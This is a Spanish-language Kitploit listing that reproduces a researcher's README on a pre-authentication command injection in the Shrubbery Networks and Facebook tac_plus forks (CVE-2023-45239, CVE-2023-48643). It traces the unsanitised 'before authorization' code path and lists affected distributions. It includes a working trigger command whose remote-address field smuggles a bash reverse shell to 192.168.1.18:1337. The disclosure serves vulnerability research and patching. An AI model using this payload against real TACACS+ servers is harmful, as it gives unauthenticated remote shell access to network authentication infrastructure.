Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
tac_plus-pre-auth-rce — Vulnerabilidad de Ejecución Remota de Comandos Pre-Auth en tac_plus (CVE-2023-45239 y CVE-2023-48643) | Kitploit
Herramientas/GitHubGitHub/takeshixx/tac_plus-pre-auth-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubtakeshixx/tac_plus-pre-auth-rce

tac_plus-pre-auth-rce

Vulnerabilidad de Ejecución Remota de Comandos Pre-Auth en tac_plus (CVE-2023-45239 y CVE-2023-48643)

Ver Repositorio
135hace 2 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Vulnerabilidad de ejecución remota de comandos sin autenticación previa en tac_plus

Este repositorio contiene información sobre una vulnerabilidad de ejecución remota de comandos sin autenticación previa en diferentes implementaciones de código abierto de tac_plus. Las siguientes dos bifurcaciones (forks) se ven afectadas:

  • tac_plus de Shrubbery Networks
  • Facebook tac_plus

Sin embargo, ambas bifurcaciones se basan en un kit de desarrollo de Cisco para TACACS+ que se publicó como código abierto hace más de 16 años. La vulnerabilidad ya existía en el kit de desarrollo y fue heredada por ambos proyectos. Cabe señalar que esta investigación solo se centró en las dos bifurcaciones mencionadas anteriormente; es posible que haya otras bifurcaciones afectadas.

El siguiente gráfico muestra la relación entre las bifurcaciones; todas están afectadas:

root@kitploit:~
-----------------
| Cisco dev kit |
-----------------
       ↑
  forked from
       |
----------------------
| Shrubbery Networks |
|   CVE-2023-48643   |
----------------------
       ↑
  forked from
       |
------------------
|    Facebook    |
| CVE-2023-45239 |
------------------

No se ha encontrado ninguna fuente oficial del kit de desarrollo de Cisco y ya no recibe mantenimiento.

Estado

  • Facebook publicó un Aviso de seguridad de GitHub (GHSA) y asignó el CVE-2023-45239
  • No hay ningún parche disponible para la bifurcación de Shrubbery Networks

Vulnerabilidad

El siguiente ejemplo hace referencia al código del repositorio facebook/tac_plus porque está disponible en GitHub (el kit de desarrollo de Cisco y la bifurcación de Shrubbery Networks son solo tarballs). Sin embargo, el código afectado es el mismo en todos los proyectos.

Cuando llega un paquete, se llama a la función start_session() para determinar el tipo de paquete entrante (autenticación, autorización o contabilidad). Nos centramos en los paquetes de autorización que son manejados por author() → do_author(), que a su vez llama a pre_authorization(). Esta función verifica si el nombre de usuario del paquete TACACAS+ tiene un comando before authorization configurado y lo ejecuta mediante call_pre_process(). El siguiente archivo de configuración (tac_plus.conf) muestra un usuario con un comando before authorization configurado:

root@kitploit:~
accounting file = /tmp/tac_acc.log

user=DEFAULT {
 before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
  service = exec {
    default attribute = permit
  }
}

Esta función toma el comando configurado en before authorization y sustituye las variables (p. ej., $user, $name o $address) con valores del paquete TACACAS+ entrante. Sin embargo, esto se hace sin ninguna validación ni saneamiento de la entrada.

La cadena de comando resultante se pasa a my_popen(), que ejecuta la cadena de comando en la siguiente llamada a execl():

root@kitploit:~
(void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);

Esto permite inyectar comandos adicionales a través del campo de dirección remota en los paquetes TACACS+ (consulte rem_addr, rem_addr_len en RFC8907). Lo mismo podría funcionar potencialmente con otros campos de entrada.

Cabe señalar que la vulnerabilidad se activa durante el proceso de autenticación. Por lo tanto, no se requiere contraseña, solo un nombre de usuario que exista en la configuración.

Desencadenar la vulnerabilidad

La compilación y ejecución de tac_plus con esta configuración se describe en las siguientes secciones:

  • Configuración de Shrubbery Network tac_plus
  • Configuración de Facebook tac_plus

El siguiente comando ejecuta tacacs_client contra el daemon objetivo con el usuario DEFAULT. El payload que desencadena la vulnerabilidad se encuentra en el campo de dirección remota, que se establece mediante el argumento de línea de comandos --rem-addr:

root@kitploit:~
export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
tacacs_client \
    --host 192.168.1.100 \
    --port 4949 \
    --username DEFAULT \
    --rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
    authorize -c service=exec

Al ejecutarlo se obtendrá una conexión de shell inversa a 192.168.1.18:1337. El nombre de usuario debe ser uno de los usuarios que tengan una directiva before authorization o after authorization configurada en tac_plus.cfg. La lista de comandos final (-c service=exec) es necesaria para alcanzar la ruta de código requerida, pero el valor no importa.

El paquete TACACS+ enviado por el cliente se muestra en la siguiente captura de pantalla de Wireshark:

Configuración de Wireshark

La siguiente captura de pantalla muestra una sesión de depuración justo antes de que se ejecute el comando inyectado:

Depuración en VScode

Distribuciones de Linux y derivados de BSD afectados

Varias distribuciones de Linux utilizan una de las dos bifurcaciones afectadas en sus paquetes oficiales (principalmente la bifurcación de Shrubbery Networks). Las siguientes tablas muestran las distribuciones de Linux y los derivados de BSD que utilizan la bifurcación de Shrubbery Networks o la de Facebook en el momento de redactar este documento. La lista no es exhaustiva; es muy probable que otras distribuciones/derivados también estén afectados.

DistribuciónPaqueteBifurcación
FedoratacacsFacebook
Ubuntutacacs+Shrubbery Networks
OpenSUSEtac_plusShrubbery Networks
Debiantacacs+Shrubbery Networks
Arch Linux (AUR)tacacs-plusShrubbery Networks
...
DerivadoPuertoBifurcación
FreeBSDtacacsShrubbery Networks
NetBSDtacacsShrubbery Networks
...

Hay ejemplos de cómo reproducir este problema en las siguientes secciones:

  • Ejemplos de Shrubbery Networks tac_plus
  • Ejemplos de Facebook tac_plus
Descargar herramienta